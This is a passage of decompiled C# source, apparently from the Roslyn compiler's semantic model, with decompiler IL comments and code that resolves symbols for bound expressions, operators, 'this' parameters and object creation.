Unknown result type (might be due to invalid IL or missing references) + //IL_08da: Unknown result type (might be due to invalid IL or missing references) + //IL_089f: Unknown result type (might be due to invalid IL or missing references) + //IL_08a4: Unknown result type (might be due to invalid IL or missing references) + //IL_08bf: Unknown result type (might be due to invalid IL or missing references) + //IL_08c4: Unknown result type (might be due to invalid IL or missing references) + //IL_08fc: Unknown result type (might be due to invalid IL or missing references) + //IL_03ed: Unknown result type (might be due to invalid IL or missing references) + //IL_0780: Unknown result type (might be due to invalid IL or missing references) + //IL_0785: Unknown result type (might be due to invalid IL or missing references) + //IL_087f: Unknown result type (might be due to invalid IL or missing references) + //IL_0876: Unknown result type (might be due to invalid IL or missing references) + //IL_0336: Unknown result type (might be due to invalid IL or missing references) + //IL_033b: Unknown result type (might be due to invalid IL or missing references) + //IL_0340: Unknown result type (might be due to invalid IL or missing references) + //IL_07e1: Unknown result type (might be due to invalid IL or missing references) + //IL_07e6: Unknown result type (might be due to invalid IL or missing references) + //IL_07ba: Unknown result type (might be due to invalid IL or missing references) + //IL_07bf: Unknown result type (might be due to invalid IL or missing references) + //IL_03cc: Unknown result type (might be due to invalid IL or missing references) + //IL_03b9: Unknown result type (might be due to invalid IL or missing references) + //IL_03be: Unknown result type (might be due to invalid IL or missing references) + //IL_0884: Unknown result type (might be due to invalid IL or missing references) + //IL_0319: Unknown result type (might be due to invalid IL or missing references) + //IL_031e: Unknown result type (might be due to invalid IL or missing references) + //IL_064d: Unknown result type (might be due to invalid IL or missing references) + //IL_0652: Unknown result type (might be due to invalid IL or missing references) + //IL_0803: Unknown result type (might be due to invalid IL or missing references) + //IL_0808: Unknown result type (might be due to invalid IL or missing references) + //IL_080d: Unknown result type (might be due to invalid IL or missing references) + //IL_0220: Unknown result type (might be due to invalid IL or missing references) + //IL_02bc: Unknown result type (might be due to invalid IL or missing references) + //IL_02c1: Unknown result type (might be due to invalid IL or missing references) + //IL_02af: Unknown result type (might be due to invalid IL or missing references) + //IL_02b4: Unknown result type (might be due to invalid IL or missing references) + //IL_03d1: Unknown result type (might be due to invalid IL or missing references) + //IL_0434: Unknown result type (might be due to invalid IL or missing references) + //IL_0439: Unknown result type (might be due to invalid IL or missing references) + //IL_0424: Unknown result type (might be due to invalid IL or missing references) + //IL_0429: Unknown result type (might be due to invalid IL or missing references) + //IL_04f1: Unknown result type (might be due to invalid IL or missing references) + //IL_04f6: Unknown result type (might be due to invalid IL or missing references) + //IL_01f1: Unknown result type (might be due to invalid IL or missing references) + //IL_06f1: Unknown result type (might be due to invalid IL or missing references) + //IL_06f6: Unknown result type (might be due to invalid IL or missing references) + //IL_0209: Unknown result type (might be due to invalid IL or missing references) + //IL_049d: Unknown result type (might be due to invalid IL or missing references) + //IL_04a2: Unknown result type (might be due to invalid IL or missing references) + memberGroup = ImmutableArray.Empty; + OneOrMany symbols = OneOrMany.Empty; + resultKind = LookupResultKind.Viable; + isDynamic = false; + switch (boundNode.Kind) + { + case BoundKind.MethodGroup: + symbols = GetMethodGroupSemanticSymbols((BoundMethodGroup)boundNode, boundNodeForSyntacticParent, binderOpt, out resultKind, out isDynamic, out memberGroup); + break; + case BoundKind.PropertyGroup: + symbols = GetPropertyGroupSemanticSymbols((BoundPropertyGroup)boundNode, boundNodeForSyntacticParent, binderOpt, out resultKind, out memberGroup); + break; + case BoundKind.BadExpression: + { + BoundBadExpression boundBadExpression = (BoundBadExpression)boundNode; + resultKind = boundBadExpression.ResultKind; + SyntaxKind syntaxKind = boundBadExpression.Syntax.Kind(); + if ((syntaxKind == SyntaxKind.ObjectCreationExpression || syntaxKind == SyntaxKind.ImplicitObjectCreationExpression) ? true : false) + { + if (resultKind == LookupResultKind.NotCreatable) + { + return OneOrMany.Create(boundBadExpression.Symbols); + } + if (boundBadExpression.Type.IsDelegateType()) + { + resultKind = LookupResultKind.Empty; + return symbols; + } + memberGroup = boundBadExpression.Symbols; + } + return OneOrMany.Create(boundBadExpression.Symbols); + } + case BoundKind.TypeExpression: + { + BoundTypeExpression boundTypeExpression = (BoundTypeExpression)boundNode; + if (boundNodeForSyntacticParent != null && boundNodeForSyntacticParent.Syntax.Kind() == SyntaxKind.ObjectCreationExpression && (object)((ObjectCreationExpressionSyntax)(object)boundNodeForSyntacticParent.Syntax).Type == boundTypeExpression.Syntax && boundNodeForSyntacticParent.Kind == BoundKind.BadExpression && ((BoundBadExpression)boundNodeForSyntacticParent).ResultKind == LookupResultKind.NotCreatable) + { + resultKind = LookupResultKind.NotCreatable; + } + Symbol symbol = (Symbol)(((object)boundTypeExpression.AliasOpt) ?? ((object)boundTypeExpression.Type)); + if (symbol.OriginalDefinition is Microsoft.CodeAnalysis.CSharp.Symbols.ErrorTypeSymbol errorTypeSymbol) + { + resultKind = errorTypeSymbol.ResultKind; + symbols = OneOrMany.Create(errorTypeSymbol.CandidateSymbols); + } + else + { + symbols = OneOrMany.Create(symbol); + } + break; + } + case BoundKind.TypeOrValueExpression: + { + BoundExpression valueExpression = ((BoundTypeOrValueExpression)boundNode).Data.ValueExpression; + return GetSemanticSymbols(valueExpression, boundNodeForSyntacticParent, binderOpt, options, out isDynamic, out resultKind, out memberGroup); + } + case BoundKind.Call: + { + BoundCall boundCall = (BoundCall)boundNode; + if (boundCall.OriginalMethodsOpt.IsDefault) + { + if ((object)boundCall.Method != null) + { + symbols = CreateReducedExtensionMethodIfPossible(boundCall); + resultKind = boundCall.ResultKind; + } + } + else + { + symbols = StaticCast.From(CreateReducedExtensionMethodsFromOriginalsIfNecessary(boundCall, Compilation)); + resultKind = boundCall.ResultKind; + } + break; + } + case BoundKind.FunctionPointerInvocation: + { + BoundFunctionPointerInvocation boundFunctionPointerInvocation = (BoundFunctionPointerInvocation)boundNode; + symbols = OneOrMany.Create((Symbol)boundFunctionPointerInvocation.FunctionPointer); + resultKind = boundFunctionPointerInvocation.ResultKind; + break; + } + case BoundKind.UnconvertedAddressOfOperator: + { + symbols = GetMethodGroupSemanticSymbols(((BoundUnconvertedAddressOfOperator)boundNode).Operand, boundNodeForSyntacticParent, binderOpt, out resultKind, out isDynamic, out var _); + break; + } + case BoundKind.IndexerAccess: + { + BoundIndexerAccess boundIndexerAccess = (BoundIndexerAccess)boundNode; + resultKind = boundIndexerAccess.ResultKind; + ImmutableArray originalIndexersOpt = boundIndexerAccess.OriginalIndexersOpt; + symbols = (originalIndexersOpt.IsDefault ? OneOrMany.Create((Symbol)boundIndexerAccess.Indexer) : StaticCast.From(OneOrMany.Create(originalIndexersOpt))); + break; + } + case BoundKind.ImplicitIndexerAccess: + return GetSemanticSymbols(((BoundImplicitIndexerAccess)boundNode).IndexerOrSliceAccess, boundNodeForSyntacticParent, binderOpt, options, out isDynamic, out resultKind, out memberGroup); + case BoundKind.EventAssignmentOperator: + { + BoundEventAssignmentOperator boundEventAssignmentOperator = (BoundEventAssignmentOperator)boundNode; + isDynamic = boundEventAssignmentOperator.IsDynamic; + Microsoft.CodeAnalysis.CSharp.Symbols.EventSymbol eventSymbol = boundEventAssignmentOperator.Event; + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol methodSymbol = (boundEventAssignmentOperator.IsAddition ? eventSymbol.AddMethod : eventSymbol.RemoveMethod); + if ((object)methodSymbol == null) + { + symbols = OneOrMany.Empty; + resultKind = LookupResultKind.Empty; + } + else + { + symbols = OneOrMany.Create((Symbol)methodSymbol); + resultKind = boundEventAssignmentOperator.ResultKind; + } + break; + } + case BoundKind.EventAccess: + if (boundNodeForSyntacticParent is BoundEventAssignmentOperator { ResultKind: LookupResultKind.Viable } boundEventAssignmentOperator2) + { + Symbol expressionSymbol = boundNode.ExpressionSymbol; + if ((object)expressionSymbol != null && boundNode != boundEventAssignmentOperator2.Argument && boundEventAssignmentOperator2.Event.Equals(expressionSymbol, (TypeCompareKind)24)) + { + symbols = OneOrMany.Create((Symbol)boundEventAssignmentOperator2.Event); + resultKind = boundEventAssignmentOperator2.ResultKind; + break; + } + } + goto default; + case BoundKind.Conversion: + { + BoundConversion boundConversion = (BoundConversion)boundNode; + isDynamic = boundConversion.ConversionKind.IsDynamic(); + if (isDynamic) + { + break; + } + if (boundConversion.ConversionKind == ConversionKind.MethodGroup && boundConversion.IsExtensionMethod) + { + symbols = OneOrMany.Create((Symbol)ReducedExtensionMethodSymbol.Create(boundConversion.SymbolOpt)); + resultKind = boundConversion.ResultKind; + break; + } + if (boundConversion.ConversionKind.IsUserDefinedConversion()) + { + GetSymbolsAndResultKind(boundConversion, boundConversion.SymbolOpt, boundConversion.OriginalUserDefinedConversionsOpt, out symbols, out resultKind); + break; + } + goto default; + } + case BoundKind.BinaryOperator: + GetSymbolsAndResultKind((BoundBinaryOperator)boundNode, out isDynamic, ref resultKind, ref symbols); + break; + case BoundKind.UnaryOperator: + GetSymbolsAndResultKind((BoundUnaryOperator)boundNode, out isDynamic, ref resultKind, ref symbols); + break; + case BoundKind.UserDefinedConditionalLogicalOperator: + { + BoundUserDefinedConditionalLogicalOperator boundUserDefinedConditionalLogicalOperator = (BoundUserDefinedConditionalLogicalOperator)boundNode; + isDynamic = false; + GetSymbolsAndResultKind(boundUserDefinedConditionalLogicalOperator, boundUserDefinedConditionalLogicalOperator.LogicalOperator, boundUserDefinedConditionalLogicalOperator.OriginalUserDefinedOperatorsOpt, out symbols, out resultKind); + break; + } + case BoundKind.CompoundAssignmentOperator: + GetSymbolsAndResultKind((BoundCompoundAssignmentOperator)boundNode, out isDynamic, ref resultKind, ref symbols); + break; + case BoundKind.IncrementOperator: + GetSymbolsAndResultKind((BoundIncrementOperator)boundNode, out isDynamic, ref resultKind, ref symbols); + break; + case BoundKind.AwaitExpression: + { + BoundAwaitExpression boundAwaitExpression = (BoundAwaitExpression)boundNode; + isDynamic = boundAwaitExpression.AwaitableInfo.IsDynamic; + goto default; + } + case BoundKind.ConditionalOperator: + { + BoundConditionalOperator boundConditionalOperator = (BoundConditionalOperator)boundNode; + isDynamic = boundConditionalOperator.IsDynamic; + goto default; + } + case BoundKind.Attribute: + { + BoundAttribute boundAttribute = (BoundAttribute)boundNode; + resultKind = boundAttribute.ResultKind; + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol namedTypeSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol)boundAttribute.Type; + if (namedTypeSymbol.IsErrorType()) + { + ImmutableArray candidateSymbols = ((Microsoft.CodeAnalysis.CSharp.Symbols.ErrorTypeSymbol)namedTypeSymbol).CandidateSymbols; + if (candidateSymbols.Length != 1 || !(candidateSymbols[0] is Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol)) + { + symbols = OneOrMany.Create(candidateSymbols); + break; + } + namedTypeSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol)candidateSymbols[0]; + } + AdjustSymbolsForObjectCreation(boundAttribute, namedTypeSymbol, boundAttribute.Constructor, binderOpt, ref resultKind, ref symbols, ref memberGroup); + break; + } + case BoundKind.QueryClause: + { + BoundQueryClause boundQueryClause = (BoundQueryClause)boundNode; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (boundQueryClause.Operation != null && (object)boundQueryClause.Operation.ExpressionSymbol != null) + { + instance.Add(boundQueryClause.Operation.ExpressionSymbol); + } + if ((object)boundQueryClause.DefinedSymbol != null) + { + instance.Add((Symbol)boundQueryClause.DefinedSymbol); + } + if (boundQueryClause.Cast != null && (object)boundQueryClause.Cast.ExpressionSymbol != null) + { + instance.Add(boundQueryClause.Cast.ExpressionSymbol); + } + symbols = ArrayBuilderExtensions.ToOneOrManyAndFree(instance); + break; + } + case BoundKind.DynamicInvocation: + { + BoundDynamicInvocation boundDynamicInvocation = (BoundDynamicInvocation)boundNode; + memberGroup = ImmutableArrayExtensions.Cast(boundDynamicInvocation.ApplicableMethods); + symbols = OneOrMany.Create(memberGroup); + isDynamic = true; + break; + } + case BoundKind.DynamicCollectionElementInitializer: + { + BoundDynamicCollectionElementInitializer boundDynamicCollectionElementInitializer = (BoundDynamicCollectionElementInitializer)boundNode; + memberGroup = ImmutableArrayExtensions.Cast(boundDynamicCollectionElementInitializer.ApplicableMethods); + symbols = OneOrMany.Create(memberGroup); + isDynamic = true; + break; + } + case BoundKind.DynamicIndexerAccess: + { + BoundDynamicIndexerAccess boundDynamicIndexerAccess = (BoundDynamicIndexerAccess)boundNode; + memberGroup = ImmutableArrayExtensions.Cast(boundDynamicIndexerAccess.ApplicableIndexers); + symbols = OneOrMany.Create(memberGroup); + isDynamic = true; + break; + } + case BoundKind.DynamicMemberAccess: + isDynamic = true; + break; + case BoundKind.DynamicObjectCreationExpression: + { + BoundDynamicObjectCreationExpression boundDynamicObjectCreationExpression = (BoundDynamicObjectCreationExpression)boundNode; + memberGroup = ImmutableArrayExtensions.Cast(boundDynamicObjectCreationExpression.ApplicableMethods); + symbols = OneOrMany.Create(memberGroup); + isDynamic = true; + break; + } + case BoundKind.ObjectCreationExpression: + { + BoundObjectCreationExpression boundObjectCreationExpression = (BoundObjectCreationExpression)boundNode; + if ((object)boundObjectCreationExpression.Constructor != null) + { + symbols = OneOrMany.Create((Symbol)boundObjectCreationExpression.Constructor); + } + else if (boundObjectCreationExpression.ConstructorsGroup.Length > 0) + { + symbols = StaticCast.From(OneOrMany.Create(boundObjectCreationExpression.ConstructorsGroup)); + resultKind = resultKind.WorseResultKind(LookupResultKind.OverloadResolutionFailure); + } + memberGroup = ImmutableArrayExtensions.Cast(boundObjectCreationExpression.ConstructorsGroup); + break; + } + case BoundKind.ThisReference: + case BoundKind.BaseReference: + { + Binder obj = binderOpt ?? GetEnclosingBinder(GetAdjustedNodePosition(boundNode.Syntax)); + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol containingType = obj.ContainingType; + Symbol containingMember = obj.ContainingMember(); + Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol thisParameter = GetThisParameter(boundNode.Type, containingType, containingMember, out resultKind); + symbols = ((thisParameter != null) ? OneOrMany.Create((Symbol)thisParameter) : OneOrMany.Empty); + break; + } + case BoundKind.FromEndIndexExpression: + { + BoundFromEndIndexExpression boundFromEndIndexExpression = (BoundFromEndIndexExpression)boundNode; + if ((object)boundFromEndIndexExpression.MethodOpt != null) + { + symbols = OneOrMany.Create((Symbol)boundFromEndIndexExpression.MethodOpt); + } + break; + } + case BoundKind.RangeExpression: + { + BoundRangeExpression boundRangeExpression = (BoundRangeExpression)boundNode; + if ((object)boundRangeExpression.MethodOpt != null) + { + symbols = OneOrMany.Create((Symbol)boundRangeExpression.MethodOpt); + } + break; + } + default: + { + Symbol expressionSymbol2 = boundNode.ExpressionSymbol; + if ((object)expressionSymbol2 != null) + { + symbols = OneOrMany.Create(expressionSymbol2); + resultKind = boundNode.ResultKind; + } + break; + } + case BoundKind.DelegateCreationExpression: + break; + } + if (boundNodeForSyntacticParent != null && (options & SymbolInfoOptions.PreferConstructorsToType) != 0) + { + AdjustSymbolsForObjectCreation(boundNode, boundNodeForSyntacticParent, binderOpt, ref resultKind, ref symbols, ref memberGroup); + } + return symbols; + } + + private static Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol GetThisParameter(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeOfThis, Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol containingType, Symbol containingMember, out LookupResultKind resultKind) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Invalid comparison between Unknown and I4 + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Invalid comparison between Unknown and I4 + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Invalid comparison between Unknown and I4 + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Invalid comparison between Unknown and I4 + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + if ((object)containingMember == null || (object)containingType == null) + { + resultKind = LookupResultKind.NotReferencable; + return new ThisParameterSymbol(containingMember as Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol, typeOfThis); + } + SymbolKind kind = containingMember.Kind; + Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol result; + if ((int)kind == 6 || (int)kind == 9 || (int)kind == 15) + { + if (containingMember.IsStatic) + { + resultKind = LookupResultKind.StaticInstanceMismatch; + result = new ThisParameterSymbol(containingMember as Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol, containingType); + } + else if ((object)typeOfThis == Microsoft.CodeAnalysis.CSharp.Symbols.ErrorTypeSymbol.UnknownResultType) + { + result = new ThisParameterSymbol(containingMember as Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol, containingType); + resultKind = LookupResultKind.NotReferencable; + } + else + { + SymbolKind kind2 = containingMember.Kind; + if ((int)kind2 != 6) + { + if ((int)kind2 == 9) + { + resultKind = LookupResultKind.Viable; + result = containingMember.EnclosingThisSymbol(); + goto IL_00bf; + } + if ((int)kind2 != 15) + { + throw ExceptionUtilities.UnexpectedValue((object)containingMember.Kind); + } + } + resultKind = LookupResultKind.NotReferencable; + result = containingMember.EnclosingThisSymbol() ?? new ThisParameterSymbol(null, containingType); + } + } + else + { + result = new ThisParameterSymbol(containingMember as Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol, typeOfThis); + resultKind = LookupResultKind.NotReferencable; + } + goto IL_00bf; + IL_00bf: + return result; + } + + private static void GetSymbolsAndResultKind(BoundUnaryOperator unaryOperator, out bool isDynamic, ref LookupResultKind resultKind, ref OneOrMany symbols) + { + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + UnaryOperatorKind unaryOperatorKind = unaryOperator.OperatorKind.OperandTypes(); + isDynamic = unaryOperator.OperatorKind.IsDynamic(); + if (unaryOperatorKind == UnaryOperatorKind.Error || unaryOperatorKind == UnaryOperatorKind.UserDefined || unaryOperator.ResultKind != LookupResultKind.Viable) + { + if (!isDynamic) + { + GetSymbolsAndResultKind(unaryOperator, unaryOperator.MethodOpt, unaryOperator.OriginalUserDefinedOperatorsOpt, out symbols, out resultKind); + } + } + else + { + UnaryOperatorKind kind = unaryOperator.OperatorKind.Operator(); + symbols = OneOrMany.Create((Symbol)new SynthesizedIntrinsicOperatorSymbol(unaryOperator.Operand.Type.StrippedType(), OperatorFacts.UnaryOperatorNameFromOperatorKind(kind, unaryOperator.OperatorKind.IsChecked()), unaryOperator.Type.StrippedType())); + resultKind = unaryOperator.ResultKind; + } + } + + private static void GetSymbolsAndResultKind(BoundIncrementOperator increment, out bool isDynamic, ref LookupResultKind resultKind, ref OneOrMany symbols) + { + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + UnaryOperatorKind unaryOperatorKind = increment.OperatorKind.OperandTypes(); + isDynamic = increment.OperatorKind.IsDynamic(); + if (unaryOperatorKind == UnaryOperatorKind.Error || unaryOperatorKind == UnaryOperatorKind.UserDefined || increment.ResultKind != LookupResultKind.Viable) + { + if (!isDynamic) + { + GetSymbolsAndResultKind(increment, increment.MethodOpt, increment.OriginalUserDefinedOperatorsOpt, out symbols, out resultKind); + } + } + else + { + UnaryOperatorKind kind = increment.OperatorKind.Operator(); + symbols = OneOrMany.Create((Symbol)new SynthesizedIntrinsicOperatorSymbol(increment.Operand.Type.StrippedType(), OperatorFacts.UnaryOperatorNameFromOperatorKind(kind, increment.OperatorKind.IsChecked()), increment.Type.StrippedType())); + resultKind = increment.ResultKind; + } + } + + private static void GetSymbolsAndResultKind(BoundBinaryOperator binaryOperator, out bool isDynamic, ref LookupResultKind resultKind, ref OneOrMany symbols) + { + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Invalid comparison between Unknown and I4 + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + BinaryOperatorKind binaryOperatorKind = binaryOperator.OperatorKind.OperandTypes(); + BinaryOperatorKind binaryOperatorKind2 = binaryOperator.OperatorKind.Operator(); + isDynamic = binaryOperator.OperatorKind.IsDynamic(); + if (binaryOperatorKind == BinaryOperatorKind.Error || binaryOperatorKind == BinaryOperatorKind.UserDefined || binaryOperator.ResultKind != LookupResultKind.Viable || binaryOperator.OperatorKind.IsLogical()) + { + if (!isDynamic) + { + GetSymbolsAndResultKind(binaryOperator, binaryOperator.Method, binaryOperator.OriginalUserDefinedOperatorsOpt, out symbols, out resultKind); + } + return; + } + if (!isDynamic && (binaryOperatorKind2 == BinaryOperatorKind.Equal || binaryOperatorKind2 == BinaryOperatorKind.NotEqual) && ((binaryOperator.Left.IsLiteralNull() && binaryOperator.Right.Type.IsNullableType()) || (binaryOperator.Right.IsLiteralNull() && binaryOperator.Left.Type.IsNullableType())) && (int)binaryOperator.Type.SpecialType == 7) + { + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol specialType = binaryOperator.Type.ContainingAssembly.GetSpecialType((SpecialType)1); + symbols = OneOrMany.Create((Symbol)new SynthesizedIntrinsicOperatorSymbol(specialType, OperatorFacts.BinaryOperatorNameFromOperatorKind(binaryOperatorKind2, binaryOperator.OperatorKind.IsChecked()), specialType, binaryOperator.Type)); + } + else + { + symbols = OneOrMany.Create(GetIntrinsicOperatorSymbol(binaryOperatorKind2, isDynamic, binaryOperator.Left.Type, binaryOperator.Right.Type, binaryOperator.Type, binaryOperator.OperatorKind.IsChecked())); + } + resultKind = binaryOperator.ResultKind; + } + + private static Symbol GetIntrinsicOperatorSymbol(BinaryOperatorKind op, bool isDynamic, Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol leftType, Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol rightType, Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol returnType, bool isChecked) + { + if (!isDynamic) + { + leftType = leftType.StrippedType(); + rightType = rightType.StrippedType(); + returnType = returnType.StrippedType(); + } + else if ((object)leftType == null) + { + leftType = rightType; + } + else if ((object)rightType == null) + { + rightType = leftType; + } + return new SynthesizedIntrinsicOperatorSymbol(leftType, OperatorFacts.BinaryOperatorNameFromOperatorKind(op, isChecked), rightType, returnType); + } + + private static void GetSymbolsAndResultKind(BoundCompoundAssignmentOperator compoundAssignment, out bool isDynamic, ref LookupResultKind resultKind, ref OneOrMany symbols) + { + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + BinaryOperatorKind binaryOperatorKind = compoundAssignment.Operator.Kind.OperandTypes(); + BinaryOperatorKind op = compoundAssignment.Operator.Kind.Operator(); + isDynamic = compoundAssignment.Operator.Kind.IsDynamic(); + if (binaryOperatorKind == BinaryOperatorKind.Error || binaryOperatorKind == BinaryOperatorKind.UserDefined || compoundAssignment.ResultKind != LookupResultKind.Viable) + { + if (!isDynamic) + { + GetSymbolsAndResultKind(compoundAssignment, compoundAssignment.Operator.Method, compoundAssignment.OriginalUserDefinedOperatorsOpt, out symbols, out resultKind); + } + } + else + { + symbols = OneOrMany.Create(GetIntrinsicOperatorSymbol(op, isDynamic, compoundAssignment.Operator.LeftType, compoundAssignment.Operator.RightType, compoundAssignment.Operator.ReturnType, compoundAssignment.Operator.Kind.IsChecked())); + resultKind = compoundAssignment.ResultKind; + } + } + + private static void GetSymbolsAndResultKind(BoundExpression node, Symbol symbolOpt, ImmutableArray originalCandidates, out OneOrMany symbols, out LookupResultKind resultKind) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + if ((object)symbolOpt != null) + { + symbols = OneOrMany.Create(symbolOpt); + resultKind = node.ResultKind; + } + else if (!originalCandidates.IsDefault) + { + symbols = StaticCast.From(OneOrMany.Create(originalCandidates)); + resultKind = node.ResultKind; + } + else + { + symbols = OneOrMany.Empty; + resultKind = LookupResultKind.Empty; + } + } + + private void AdjustSymbolsForObjectCreation(BoundExpression boundNode, BoundNode boundNodeForSyntacticParent, Binder binderOpt, ref LookupResultKind resultKind, ref OneOrMany symbols, ref ImmutableArray memberGroup) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Invalid comparison between Unknown and I4 + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol typeSymbolOpt = null; + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol constructorOpt = null; + SyntaxNode syntax = boundNodeForSyntacticParent.Syntax; + if (syntax == null || syntax != boundNode.Syntax.Parent || syntax.Kind() != SyntaxKind.Attribute || (object)((AttributeSyntax)(object)syntax).Name != boundNode.Syntax) + { + return; + } + OneOrMany val = UnwrapAliases(symbols); + switch (boundNodeForSyntacticParent.Kind) + { + case BoundKind.Attribute: + { + BoundAttribute boundAttribute = (BoundAttribute)boundNodeForSyntacticParent; + if (val.Count == 1 && (int)val[0].Kind == 11) + { + typeSymbolOpt = (Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol)val[0]; + constructorOpt = boundAttribute.Constructor; + resultKind = resultKind.WorseResultKind(boundAttribute.ResultKind); + } + break; + } + case BoundKind.BadExpression: + { + BoundBadExpression boundBadExpression = (BoundBadExpression)boundNodeForSyntacticParent; + if (val.Count == 1) + { + resultKind = resultKind.WorseResultKind(boundBadExpression.ResultKind); + typeSymbolOpt = val[0] as Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol; + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)boundNodeForSyntacticParent.Kind); + } + AdjustSymbolsForObjectCreation(boundNode, typeSymbolOpt, constructorOpt, binderOpt, ref resultKind, ref symbols, ref memberGroup); + } + + private void AdjustSymbolsForObjectCreation(BoundNode lowestBoundNode, Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol typeSymbolOpt, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol constructorOpt, Binder binderOpt, ref LookupResultKind resultKind, ref OneOrMany symbols, ref ImmutableArray memberGroup) + { + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + if ((object)typeSymbolOpt == null) + { + return; + } + Binder binder = binderOpt ?? GetEnclosingBinder(GetAdjustedNodePosition(lowestBoundNode.Syntax)); + ImmutableArray immutableArray2; + if (binder != null) + { + ImmutableArray immutableArray = ((typeSymbolOpt.IsInterfaceType() && (object)typeSymbolOpt.ComImportCoClass != null) ? typeSymbolOpt.ComImportCoClass.InstanceConstructors : typeSymbolOpt.InstanceConstructors); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + immutableArray2 = binder.FilterInaccessibleConstructors(immutableArray, allowProtectedConstructorsOfBaseType: false, ref useSiteInfo); + if (((object)constructorOpt == null) ? (!immutableArray2.Any()) : (!immutableArray2.Contains(constructorOpt))) + { + immutableArray2 = immutableArray; + } + } + else + { + immutableArray2 = ImmutableArray.Empty; + } + if ((object)constructorOpt != null) + { + symbols = OneOrMany.Create((Symbol)constructorOpt); + } + else if (immutableArray2.Length > 0) + { + symbols = StaticCast.From(OneOrMany.Create(immutableArray2)); + resultKind = resultKind.WorseResultKind(LookupResultKind.OverloadResolutionFailure); + } + memberGroup = ImmutableArrayExtensions.Cast(immutableArray2); + } + + private ImmutableArray GetIndexerGroupSemanticSymbols(BoundExpression boundNode, Binder binderOpt) + { + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type = boundNode.Type; + if ((object)type == null || type.IsStatic) + { + return ImmutableArray.Empty; + } + Binder binder = binderOpt ?? GetEnclosingBinder(GetAdjustedNodePosition(boundNode.Syntax)); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + AppendSymbolsWithNameAndArity(instance, "this[]", 0, binder, type, LookupOptions.MustBeInstance); + if (instance.Count == 0) + { + instance.Free(); + return ImmutableArray.Empty; + } + return FilterOverriddenOrHiddenIndexers(instance.ToImmutableAndFree()); + } + + private static ImmutableArray FilterOverriddenOrHiddenIndexers(ImmutableArray symbols) + { + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Expected O, but got Unknown + PooledHashSet val = null; + ImmutableArray.Enumerator enumerator = symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + OverriddenOrHiddenMembersResult overriddenOrHiddenMembers = ((Microsoft.CodeAnalysis.CSharp.Symbols.PropertySymbol)enumerator.Current.GetSymbol()).OverriddenOrHiddenMembers; + 